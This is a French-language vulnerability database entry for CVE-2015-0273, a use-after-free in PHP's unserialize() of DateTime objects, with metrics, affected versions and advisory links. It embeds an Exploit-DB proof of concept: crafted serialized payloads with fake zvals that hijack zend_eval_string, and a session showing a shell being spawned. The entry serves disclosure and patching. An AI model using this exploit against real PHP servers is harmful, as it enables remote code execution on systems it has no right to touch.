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CVE-2015-0273 : Détail

CVE-2015-0273

94.95%V3
Network
2015-03-30 08:00 +00:00
2018-01-04 18:57 +00:00
CVE.org
NVD

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Descriptions

Multiple use-after-free vulnerabilities in ext/date/php_date.c in PHP before 5.4.38, 5.5.x before 5.5.22, and 5.6.x before 5.6.6 allow remote attackers to execute arbitrary code via crafted serialized input containing a (1) R or (2) r type specifier in (a) DateTimeZone data handled by the php_date_timezone_initialize_from_hash function or (b) DateTime data handled by the php_date_initialize_from_hash function.

Informations

Metrics

Metric Score Sévérité CVSS Vecteur Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

EPSS Score

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

EPSS Percentile

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 36158

Date de publication : 2015-02-22 23:00 +00:00
Auteur : Taoguang Chen
EDB Vérifié : No

Use After Free Vulnerability in unserialize() with DateTime* [CVE-2015-0273] Taoguang Chen <[@chtg](http://github.com/chtg)> - Write Date: 2015.1.29 - Release Date: 2015.2.20 A use-after-free vulnerability was discovered in unserialize() with DateTime/DateTimeZone/DateInterval/DatePeriod objects's __wakeup() magic method that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely. Affected Versions ------------ Affected is PHP 5.6 < 5.6.6 Affected is PHP 5.5 < 5.5.22 Affected is PHP 5.4 < 5.4.38 Credits ------------ This vulnerability was disclosed by Taoguang Chen. Description ------------ static int php_date_initialize_from_hash(php_date_obj **dateobj, HashTable *myht) { zval *z_date; zval *z_timezone; zval *z_timezone_type; zval tmp_obj; timelib_tzinfo *tzi; php_timezone_obj *tzobj; z_date = zend_hash_str_find(myht, "date", sizeof("data")-1); if (z_date) { convert_to_string(z_date); z_timezone_type = zend_hash_str_find(myht, "timezone_type", sizeof("timezone_type")-1); if (z_timezone_type) { convert_to_long(z_timezone_type); z_timezone = zend_hash_str_find(myht, "timezone", sizeof("timezone")-1); if (z_timezone) { convert_to_string(z_timezone); ... static int php_date_timezone_initialize_from_hash(zval **return_value, php_timezone_obj **tzobj, HashTable *myht TSRMLS_DC) { zval **z_timezone = NULL; zval **z_timezone_type = NULL; if (zend_hash_find(myht, "timezone_type", 14, (void**) &z_timezone_type) == SUCCESS) { if (zend_hash_find(myht, "timezone", 9, (void**) &z_timezone) == SUCCESS) { convert_to_long(*z_timezone_type); if (SUCCESS == timezone_initialize(*tzobj, Z_STRVAL_PP(z_timezone) TSRMLS_CC)) { return SUCCESS; } } } return FAILURE; } The convert_to_long() leads to the ZVAL and all its children is freed from memory. However the unserialize() code will still allow to use R: or r: to set references to that already freed memory. There is a use after free vulnerability, and allows to execute arbitrary code. Proof of Concept Exploit ------------ The PoC works on standard MacOSX 10.10.2 installation of PHP 5.5.14. <?php $f = $argv[1]; $c = $argv[2]; $fakezval1 = ptr2str(0x100b83008); $fakezval1 .= ptr2str(0x8); $fakezval1 .= "\x00\x00\x00\x00"; $fakezval1 .= "\x06"; $fakezval1 .= "\x00"; $fakezval1 .= "\x00\x00"; $data1 = 'a:3:{i:0;O:12:"DateTimeZone":2:{s:13:"timezone_type";a:1:{i:0;i:1;}s:8:"timezone";s:3:"UTC";}i:1;s:'.strlen($fakezval1).':"'.$fakezval1.'";i:2;a:1:{i:0;R:4;}}'; $x = unserialize($data1); $y = $x[2]; // zend_eval_string()'s address $y[0][0] = "\x6d"; $y[0][1] = "\x1e"; $y[0][2] = "\x35"; $y[0][3] = "\x00"; $y[0][4] = "\x01"; $y[0][5] = "\x00"; $y[0][6] = "\x00"; $y[0][7] = "\x00"; $fakezval2 = ptr2str(0x3b296324286624); // $f($c); $fakezval2 .= ptr2str(0x100b83000); $fakezval2 .= "\x00\x00\x00\x00"; $fakezval2 .= "\x05"; $fakezval2 .= "\x00"; $fakezval2 .= "\x00\x00"; $data2 = 'a:3:{i:0;O:12:"DateTimeZone":2:{s:13:"timezone_type";a:1:{i:0;i:1;}s:8:"timezone";s:3:"UTC";}i:1;s:'.strlen($fakezval2).':"'.$fakezval2.'";i:2;O:12:"DateTimeZone":2:{s:13:"timezone_type";a:1:{i:0;R:4;}s:8:"timezone";s:3:"UTC";}}'; $z = unserialize($data2); function ptr2str($ptr) { $out = ""; for ($i=0; $i<8; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; } ?> Test the PoC on the command line, then any PHP code can be executed: $ lldb php (lldb) target create "php" Current executable set to 'php' (x86_64). (lldb) run uafpoc.php assert "system\('sh'\)==exit\(\)" Process 13472 launched: '/usr/bin/php' (x86_64) sh: no job control in this shell sh-3.2$ php -v PHP 5.5.14 (cli) (built: Sep 9 2014 19:09:25) Copyright (c) 1997-2014 The PHP Group Zend Engine v2.5.0, Copyright (c) 1998-2014 Zend Technologies sh-3.2$ exit exit Process 13472 exited with status = 0 (0x00000000) (lldb)

Products Mentioned

Configuraton 0

Php>>Php >> Version To (including) 5.4.37

Php>>Php >> Version 5.5.0

Php>>Php >> Version 5.5.0

Php>>Php >> Version 5.5.0

Php>>Php >> Version 5.5.0

Php>>Php >> Version 5.5.0

Php>>Php >> Version 5.5.0

Php>>Php >> Version 5.5.0

Php>>Php >> Version 5.5.0

Php>>Php >> Version 5.5.0

Php>>Php >> Version 5.5.0

Php>>Php >> Version 5.5.0

Php>>Php >> Version 5.5.0

Php>>Php >> Version 5.5.0

Php>>Php >> Version 5.5.1

Php>>Php >> Version 5.5.2

Php>>Php >> Version 5.5.3

Php>>Php >> Version 5.5.4

Php>>Php >> Version 5.5.5

Php>>Php >> Version 5.5.6

Php>>Php >> Version 5.5.7

Php>>Php >> Version 5.5.8

Php>>Php >> Version 5.5.9

Php>>Php >> Version 5.5.10

Php>>Php >> Version 5.5.11

Php>>Php >> Version 5.5.12

Php>>Php >> Version 5.5.13

Php>>Php >> Version 5.5.14

Php>>Php >> Version 5.5.15

Php>>Php >> Version 5.5.16

Php>>Php >> Version 5.5.17

Php>>Php >> Version 5.5.18

Php>>Php >> Version 5.5.19

Php>>Php >> Version 5.5.20

Php>>Php >> Version 5.5.21

Php>>Php >> Version 5.6.0

Php>>Php >> Version 5.6.0

Php>>Php >> Version 5.6.0

Php>>Php >> Version 5.6.0

Php>>Php >> Version 5.6.0

Php>>Php >> Version 5.6.0

Php>>Php >> Version 5.6.0

Php>>Php >> Version 5.6.0

Php>>Php >> Version 5.6.0

Php>>Php >> Version 5.6.1

Php>>Php >> Version 5.6.2

Php>>Php >> Version 5.6.3

Php>>Php >> Version 5.6.4

Php>>Php >> Version 5.6.5

References

http://www.debian.org/security/2015/dsa-3195
Tags : vendor-advisory, x_refsource_DEBIAN
https://support.apple.com/HT205375
Tags : x_refsource_CONFIRM
http://www.ubuntu.com/usn/USN-2535-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://marc.info/?l=bugtraq&m=144050155601375&w=2
Tags : vendor-advisory, x_refsource_HP
https://bugs.php.net/bug.php?id=68942
Tags : x_refsource_CONFIRM
http://marc.info/?l=bugtraq&m=143748090628601&w=2
Tags : vendor-advisory, x_refsource_HP
http://www.mandriva.com/security/advisories?name=MDVSA-2015:079
Tags : vendor-advisory, x_refsource_MANDRIVA
http://marc.info/?l=bugtraq&m=143403519711434&w=2
Tags : vendor-advisory, x_refsource_HP
http://php.net/ChangeLog-5.php
Tags : x_refsource_CONFIRM
https://support.apple.com/HT205267
Tags : x_refsource_CONFIRM
http://www.securitytracker.com/id/1031945
Tags : vdb-entry, x_refsource_SECTRACK
http://support.apple.com/kb/HT204942
Tags : x_refsource_CONFIRM
http://www.securityfocus.com/bid/72701
Tags : vdb-entry, x_refsource_BID
http://rhn.redhat.com/errata/RHSA-2015-1135.html
Tags : vendor-advisory, x_refsource_REDHAT
http://rhn.redhat.com/errata/RHSA-2015-1053.html
Tags : vendor-advisory, x_refsource_REDHAT
http://marc.info/?l=bugtraq&m=143403519711434&w=2
Tags : vendor-advisory, x_refsource_HP
https://security.gentoo.org/glsa/201606-10
Tags : vendor-advisory, x_refsource_GENTOO
http://rhn.redhat.com/errata/RHSA-2015-1066.html
Tags : vendor-advisory, x_refsource_REDHAT
http://rhn.redhat.com/errata/RHSA-2015-1218.html
Tags : vendor-advisory, x_refsource_REDHAT

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